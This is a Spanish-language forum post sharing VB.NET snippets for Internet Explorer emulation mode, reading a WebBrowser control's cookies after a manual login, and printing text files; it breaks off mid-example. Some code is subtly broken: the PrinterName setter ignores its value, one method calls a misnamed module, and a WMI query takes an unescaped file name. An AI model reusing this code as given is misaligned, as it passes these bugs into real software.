''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim processName As Process = Process.GetCurrentProcess()
''' Dim scope As RegistryScope = RegistryScope.CurrentUser
''' Dim oldMode As IEBrowserEmulationMode
''' Dim newMode As IEBrowserEmulationMode
'''
''' oldMode = GetIEBrowserEmulationMode(p, scope)
''' SetIEBrowserEmulationMode(p, scope, IEBrowserEmulationMode.IE11Edge)
''' newMode = GetIEBrowserEmulationMode(p, scope)
'''
''' Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
''' Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
'''
''' Dim f As New Form() With {.Size = New Size(1280, 720)}
''' Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
''' f.Controls.Add(wb)
''' f.Show()
''' wb.Navigate("http://www.whatversion.net/browser/")
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="p">
''' The process.
''' </param>
'''
''' <param name="scope">
''' The registry scope.
''' </param>
'''
''' <param name="mode">
''' The Internet Explorer browser emulation mode to set.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotSupportedException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub SetIEBrowserEmulationMode(ByVal p As Process, ByVal scope As RegistryScope, ByVal mode As IEBrowserEmulationMode)
AppUtil.SetIEBrowserEmulationMode(p.ProcessName, scope, mode)
End Sub
Ejemplo de uso para obtener, establecer y verificar el modo de emulación del proceso actual:
Dim scope As RegistryScope = RegistryScope.CurrentUser
Dim oldMode As IEBrowserEmulationMode
Dim newMode As IEBrowserEmulationMode
oldMode = BrowserEmulationMode(scope)
BrowserEmulationMode(scope) = IEBrowserEmulationMode.IE11Edge
newMode = BrowserEmulationMode(scope)
Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
Dim f As New Form() With {.Size = New Size(1280, 720)}
Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
f.Controls.Add(wb)
f.Show()
wb.Navigate("http://www.whatversion.net/browser/")
Ejemplo de uso para obtener, establecer y verificar el modo de emulación de un proceso específico:
Dim processName As String = Process.GetCurrentProcess().ProcessName
Dim scope As RegistryScope = RegistryScope.CurrentUser
Dim oldMode As IEBrowserEmulationMode
Dim newMode As IEBrowserEmulationMode
oldMode = GetIEBrowserEmulationMode(processName, scope)
SetIEBrowserEmulationMode(processName, scope, IEBrowserEmulationMode.IE11Edge)
newMode = GetIEBrowserEmulationMode(processName, scope)
Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
Dim f As New Form() With {.Size = New Size(1280, 720)}
Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
f.Controls.Add(wb)
f.Show()
wb.Navigate("http://www.whatversion.net/browser/")
Saludos.
¿Cómo obtener las cookies del sitio web activo en una instancia del control WebBrowser?
Esta idea se me ocurrió por la necesidad de loguearme de forma interactiva (me refiero, manualmente mediante un WebBrowser) a un sitio web que tiene captcha y una pregunta aleatoria de seguridad... por lo cual iba a ser costoso o inviable automatizar la obtención de la cookie de la sesión mediante solicitudes POST en background.
Este código no tiene nada de especial, simplemente es una alternativa de uso para en lugar de utilizar la propiedad WebBrowser.Document.Cookie, la cual devuelve un String, con este código podemos obtener directamente una instancia de la clase CookieContainer o CookieCollection.
Este es el código:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains custom extension methods to use with <see cref="WebBrowser"/> control.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<HideModuleName>
Public Module WebBrowserExtensions
#Region " Public Extension Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a <see cref="CookieContainer"/> containing the stored cookies for the active website
''' in the source <see cref="WebBrowser"/>.
''' (that is, the active opened document in the <see cref="WebBrowser.Document"/> property).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Public Class Form1
'''
''' Private uri As New Uri("https://foro.elhacker.net/")
'''
''' Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles MyBase.Shown
''' Me.WebBrowser1.ScriptErrorsSuppressed = True
''' Me.WebBrowser1.Navigate(uri)
''' End Sub
'''
''' Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
'''
''' Dim wb As WebBrowser = DirectCast(sender, WebBrowser)
''' If Not (wb.ReadyState = WebBrowserReadyState.Complete) OrElse Not (e.Url = Me.uri) Then
''' Exit Sub
''' End If
'''
''' Dim cookies As CookieContainer = GetCookieContainer(wb)
''' For Each cookie As Cookie In cookies.GetCookies(Me.uri)
''' Console.WriteLine(cookie.ToString())
''' Next cookie
'''
''' End Sub
'''
''' End Class
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="wb">
''' The source <see cref="WebBrowser"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="CookieContainer"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function GetCookieContainer(ByVal wb As WebBrowser) As CookieContainer
Dim uri As Uri = wb.Url
Dim cookieContainer As New CookieContainer()
Dim cookies As String() = wb.Document.Cookie.Split({";"c}, StringSplitOptions.None)
For Each cookie As String In cookies
Dim name As String = cookie.Substring(0, cookie.IndexOf("="c)).TrimStart(" "c)
Dim value As String = cookie.Substring(cookie.IndexOf("="c) + 1)
cookieContainer.Add(uri, New Cookie(name, value, "/", uri.Host))
Next cookie
Return cookieContainer
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a <see cref="CookieCollection"/> containing the stored cookies for the active website
''' in the source <see cref="WebBrowser"/>.
''' (that is, the active opened document in the <see cref="WebBrowser.Document"/> property).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Public Class Form1
'''
''' Private uri As New Uri("https://foro.elhacker.net/")
'''
''' Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles MyBase.Shown
''' Me.WebBrowser1.ScriptErrorsSuppressed = True
''' Me.WebBrowser1.Navigate(uri)
''' End Sub
'''
''' Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
'''
''' Dim wb As WebBrowser = DirectCast(sender, WebBrowser)
'''
''' If Not (wb.ReadyState = WebBrowserReadyState.Complete) OrElse Not (e.Url = Me.uri) Then
''' Exit Sub
''' End If
'''
''' Dim cookies As CookieCollection = GetCookieCollection(wb)
''' For Each cookie As Cookie In cookies
''' Console.WriteLine(cookie.ToString())
''' Next cookie
'''
''' End Sub
'''
''' End Class
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="wb">
''' The source <see cref="WebBrowser"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="CookieCollection"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Function GetCookieCollection(ByVal wb As WebBrowser) As CookieCollection
Dim uri As Uri = wb.Url
Return Cookies.GetCookieContainer(wb).GetCookies(uri)
End Function
#End Region
End Module
Ejemplo de uso:
Imports WebBrowserExtensions
Public Class Form1
Private uri As New Uri("https://www.domain.com/")
Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles MyBase.Shown
Me.WebBrowser1.ScriptErrorsSuppressed = True
Me.WebBrowser1.Navigate(uri)
End Sub
Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
Dim wb As WebBrowser = DirectCast(sender, WebBrowser)
If Not (wb.ReadyState = WebBrowserReadyState.Complete) OrElse Not (e.Url = Me.uri) Then
Exit Sub
End If
Dim cookies As CookieContainer = wb.GetCookieContainer()
For Each cookie As Cookie In cookies.GetCookies(Me.uri)
Console.WriteLine(cookie.ToString())
Next cookie
End Sub
End Class
¿Cómo imprimir documentos de texto de forma sencilla?.
He hecho dos versiones, una básica, y la otra avanzada.
PrintDocumentBasic
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prints a text document.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <seealso cref="IDisposable" />
''' ----------------------------------------------------------------------------------------------------
Public Class PrintDocumentBasic : Implements IDisposable
#Region " Private Fields "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A <see cref="StreamReader"/> instance that encapsulates the document data to be read and printed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Protected documentStream As StreamReader
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The <see cref="System.Drawing.Printing.PrintDocument"/> component to print the document.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Protected WithEvents PrintDocument As PrintDocument
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The <see cref="System.Drawing.Printing.PrinterSettings"/> instance that specifies
''' information about how a document is printed, including the printer that prints it.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Protected PrinterSettings As PrinterSettings
#End Region
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the document file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The document file path.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Filepath As String
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the text encoding.
''' <para></para>
''' If no encoding is specified, the default system encoding will be used.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The text encoding.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property Encoding As Encoding
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the name of the printer device.
''' <para></para>
''' If no printer name is specified, the default printer device will be used.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The name of the printer device.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property PrinterName As String
Get
Return Me.printerNameB
End Get
Set(ByVal value As String)
If Not String.IsNullOrEmpty(value) Then
Me.PrinterSettings.PrinterName = Me.PrinterName
Else
' Reset the 'PrinterSettings.PrinterName' property to avoid 'PrinterSettings.IsValid' return False.
Me.PrinterSettings = New PrinterSettings()
End If
End Set
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing Field )
''' <para></para>
''' The name of the printer device.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private printerNameB As String
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the text font.
''' <para></para>
''' Default font is: [Font: Name=Arial, Size=10, Units=3, GdiCharSet=1, GdiVerticalFont=False]
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The text font.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property Font As Font
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the text color.
''' <para></para>
''' Default color is: <see cref="System.Drawing.Color.Black"/>
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The text color.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property Color As Color
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="PrintDocumentBasic"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerNonUserCode>
Private Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="PrintDocumentBasic"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="filepath">
''' The document file path.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="FileNotFoundException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal filepath As String)
Me.New(filepath, encoding:=Nothing)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="PrintDocumentBasic"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="filepath">
''' The document file path.
''' </param>
'''
''' <param name="encoding">
''' The text encoding.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="FileNotFoundException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal filepath As String, ByVal encoding As Encoding)
Me.PrintDocument = New PrintDocument() With {
.DocumentName = filepath
}
Me.Filepath = filepath
Me.Color = Color.Black
Me.PrinterName = ""
If (encoding Is Nothing) Then
Me.documentStream = New StreamReader(filepath, detectEncodingFromByteOrderMarks:=True)
Me.Encoding = Me.documentStream.CurrentEncoding
Else
Me.Encoding = encoding
Me.documentStream = New StreamReader(filepath, encoding, detectEncodingFromByteOrderMarks:=False)
End If
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prints the current document.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="IOException">
''' No printer device is installed.
''' </exception>
'''
''' <exception cref="ArgumentException">
''' Printer name is not valid.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub Print()
If (PrinterSettings.InstalledPrinters.Count = 0) Then
Throw New IOException("No printer device is installed.")
End If
If Not String.IsNullOrEmpty(Me.PrinterSettings.PrinterName) AndAlso Not (Me.PrinterSettings.IsValid) Then
Throw New Exception("Printer name is not valid.")
End If
Me.PrintDocument.PrinterSettings = Me.PrinterSettings
Me.PrintDocument.Print()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Cancels the print job for the current document.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="Exception">
''' Print job not found.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub CancelPrint()
Dim scope As New ManagementScope("root\CIMV2")
Dim query As New SelectQuery(String.Format("SELECT * FROM Win32_PrintJob WHERE Document = '{0}'", Me.PrintDocument.DocumentName))
Dim options As New EnumerationOptions With {
.ReturnImmediately = True,
.Rewindable = False,
.DirectRead = True,
.EnumerateDeep = False
}
Using mos As New ManagementObjectSearcher(scope, query, options),
moc As ManagementObjectCollection = mos.Get()
If (moc.Count = 0) Then
Throw New Exception("Print job not found.")
End If
For Each mo As ManagementObject In moc
mo.Delete()
Next mo
End Using
End Sub
#End Region
#Region " Event-Handlers "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event
''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="PrintEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Protected Overridable Sub PrintDocument_BeginPrint(ByVal sender As Object, ByVal e As PrintEventArgs) Handles PrintDocument.BeginPrint
If (Me.Font Is Nothing) Then
Me.Font = New Font("Arial", 10.0F, FontStyle.Regular)
End If
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="System.Drawing.Printing.PrintDocument.QueryPageSettings"/> event
''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="QueryPageSettingsEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Protected Overridable Sub PrintDocument_QueryPageSettings(ByVal sender As Object, ByVal e As QueryPageSettingsEventArgs) Handles PrintDocument.QueryPageSettings
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="System.Drawing.Printing.PrintDocument.PrintPage"/> event
''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="PrintPageEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Protected Overridable Sub PrintDocument_PrintPage(ByVal sender As Object, ByVal e As PrintPageEventArgs) Handles PrintDocument.PrintPage
' Page settings.
Dim brush As New SolidBrush(Me.Color)
Dim stringFormat As New StringFormat()
Dim leftMargin As Single = e.MarginBounds.Left
Dim topMargin As Single = e.MarginBounds.Top
' Calculate the number of lines per page.
Dim linesPerPage As Single = (e.MarginBounds.Height / Me.Font.GetHeight(e.Graphics))
' Iterate over the file, printing each line.
Dim line As String = Nothing
Dim count As Integer
While (count < linesPerPage)
line = Me.documentStream.ReadLine()
If (line Is Nothing) Then
Exit While
End If
Dim yPos As Single = (topMargin + count * Me.Font.GetHeight(e.Graphics))
e.Graphics.DrawString(line, Me.Font, brush, leftMargin, yPos, stringFormat)
count += 1
End While
brush.Dispose()
stringFormat.Dispose()
' If more lines exist, print another page.
e.HasMorePages = (line IsNot Nothing)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="System.Drawing.Printing.PrintDocument.EndPrint"/> event
''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="PrintEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Protected Overridable Sub PrintDocument_EndPrint(ByVal sender As Object, ByVal e As PrintEventArgs) Handles PrintDocument.EndPrint
End Sub
#End Region
#Region " IDisposable Implementation "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Flag to detect redundant calls when disposing.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private isDisposed As Boolean = False
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Releases all the resources used by this <see cref="PrintDocumentBasic"/> instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="isDisposing">
''' <see langword="True"/> to release both managed and unmanaged resources;
''' <see langword="False"/> to release only unmanaged resources.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
If (Not Me.isDisposed) AndAlso (isDisposing) Then
If (Me.PrintDocument IsNot Nothing) Then
Me.PrintDocument.Dispose()
Me.PrintDocument = Nothing
End If
If (Me.documentStream IsNot Nothing) Then
Me.documentStream.Close()
Me.documentStream = Nothing
End If
If (Me.Font IsNot Nothing) Then
Me.Font.Dispose()
Me.Font = Nothing
End If
End If
Me.isDisposed = True
End Sub
#End Region
End Class
MODO DE EMPLEO:
Using printBasic As New PrintDocumentBasic("C:\Document.txt", Encoding.Default)
printBasic.PrinterName = ""
printBasic.Font = New Font("Arial", 10.0F, FontStyle.Regular)
printBasic.Color = Color.Black
printBasic.Print()
' printBasic.CancelPrint()
End Using
PrintDocumentExpert
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prints a text document.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <seealso cref="IDisposable" />
''' ----------------------------------------------------------------------------------------------------
Public Class PrintDocumentExpert : Implements IDisposable
#Region " Private Fields "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' The <see cref="System.Drawing.Printing.PrintDocument"/> component to print the document.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Protected WithEvents PrintDocument As PrintDocument
#End Region
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the document file path.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The document file path.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Filepath As String
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the text encoding.
''' <para></para>
''' If no encoding is specified, the default system encoding will be used.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The text encoding.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property Encoding As Encoding
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the <see cref="StreamReader"/> instance that encapsulates the document data to be read and printed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The <see cref="StreamReader"/> instance that encapsulates the document data to be read and printed.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property DocumentStream As StreamReader
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the <see cref="System.Drawing.Printing.PrinterSettings"/> instance that specifies
''' information about how a document is printed, including the printer that prints it.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The <see cref="System.Drawing.Printing.PrinterSettings"/> instance that specifies
''' information about how a document is printed, including the printer that prints it.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property PrinterSettings As PrinterSettings
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property BeginPrintEventHandler As PrintEventHandler
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the <see cref="System.Drawing.Printing.QueryPageSettingsEventHandler"/> delegate method to handle the
''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
''' <see cref="System.Drawing.Printing.PrintDocument.QueryPageSettings"/> event.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property QueryPageSettingsEventHandler As QueryPageSettingsEventHandler
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the <see cref="System.Drawing.Printing.PrintPageEventHandler"/> delegate method to handle the
''' <see cref="System.Drawing.Printing.PrintDocument.PrintPage"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The <see cref="System.Drawing.Printing.PrintPageEventHandler"/> delegate method to handle the
''' <see cref="System.Drawing.Printing.PrintDocument.PrintPage"/> event.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property PrintPageEventHandler As PrintPageEventHandler
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
''' <see cref="System.Drawing.Printing.PrintDocument.EndPrint"/> event.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Property EndPrintEventHandler As PrintEventHandler
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="PrintDocumentExpert"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerNonUserCode>
Private Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="PrintDocumentExpert"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="filepath">
''' The document file path.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="FileNotFoundException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal filepath As String)
Me.New(filepath, encoding:=Nothing)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="PrintDocumentExpert"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="filepath">
''' The document file path.
''' </param>
'''
''' <param name="encoding">
''' The text encoding.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="FileNotFoundException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal filepath As String, ByVal encoding As Encoding)
Me.PrintDocument = New PrintDocument() With {
.DocumentName = filepath
}
Me.Filepath = filepath
If (encoding Is Nothing) Then
Me.DocumentStream = New StreamReader(filepath, detectEncodingFromByteOrderMarks:=True)
Me.Encoding = Me.DocumentStream.CurrentEncoding
Else
Me.Encoding = encoding
Me.DocumentStream = New StreamReader(filepath, encoding, detectEncodingFromByteOrderMarks:=False)
End If
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prints the current document.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="IOException">
''' No printer device is installed.
''' </exception>
'''
''' <exception cref="Exception">
''' Printer name is not valid.
''' </exception>
'''
''' <exception cref="Exception">
''' The 'PrintDocumentExpert.PrintPageEventHandler' property must be set before calling the 'PrintDocumentExpert.Print()' method.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub Print()
If (PrinterSettings.InstalledPrinters.Count = 0) Then
Throw New IOException("No printer device is installed.")
End If
If Not String.IsNullOrEmpty(Me.PrinterSettings.PrinterName) AndAlso Not (Me.PrinterSettings.IsValid) Then
Throw New Exception("Printer name is not valid.")
End If
If (Me.PrintPageEventHandler Is Nothing) Then
Throw New Exception("The 'PrintDocumentExpert.PrintPageEventHandler' property must be set before calling the 'PrintDocumentExpert.Print()' method.")
End If
AddHandler Me.PrintDocument.BeginPrint, Me.BeginPrintEventHandler
AddHandler Me.PrintDocument.QueryPageSettings, Me.QueryPageSettingsEventHandler
AddHandler Me.PrintDocument.PrintPage, Me.PrintPageEventHandler
AddHandler Me.PrintDocument.EndPrint, Me.EndPrintEventHandler
Me.PrintDocument.PrinterSettings = Me.PrinterSettings
Me.PrintDocument.Print()
RemoveHandler Me.PrintDocument.BeginPrint, Me.BeginPrintEventHandler
RemoveHandler Me.PrintDocument.QueryPageSettings, Me.QueryPageSettingsEventHandler
RemoveHandler Me.PrintDocument.PrintPage, Me.PrintPageEventHandler
RemoveHandler Me.PrintDocument.EndPrint, Me.EndPrintEventHandler
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Cancels the print job for the current document.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="Exception">
''' Print job not found.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overridable Sub CancelPrint()
Dim scope As New ManagementScope("root\CIMV2")
Dim query As New SelectQuery(String.Format("SELECT * FROM Win32_PrintJob WHERE Document = '{0}'", Me.PrintDocument.DocumentName))
Dim options As New EnumerationOptions With {
.ReturnImmediately = True,
.Rewindable = False,
.DirectRead = True,
.EnumerateDeep = False
}
Using mos As New ManagementObjectSearcher(scope, query, options),
moc As ManagementObjectCollection = mos.Get()
If (moc.Count = 0) Then
Throw New Exception("Print job not found.")
End If
For Each mo As ManagementObject In moc
mo.Delete()
Next mo
End Using
End Sub
#End Region
#Region " IDisposable Implementation "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Flag to detect redundant calls when disposing.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private isDisposed As Boolean = False
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Releases all the resources used by this <see cref="PrintDocumentBasic"/> instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="isDisposing">
''' <see langword="True"/> to release both managed and unmanaged resources;
''' <see langword="False"/> to release only unmanaged resources.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
If (Not Me.isDisposed) AndAlso (isDisposing) Then
If (Me.PrintDocument IsNot Nothing) Then
Me.PrintDocument.Dispose()
Me.PrintDocument = Nothing
End If
If (Me.DocumentStream IsNot Nothing) Then
Me.DocumentStream.Close()
End If
End If
Me.isDisposed = True
End Sub
#End Region
End Class
MODO DE EMPLEO:
Public Module Module1
Private printExpert As PrintDocumentExpert
Public Sub Main()
printExpert = New PrintDocumentExpert("C:\Document.txt", Encoding.Default)
Using printExpert
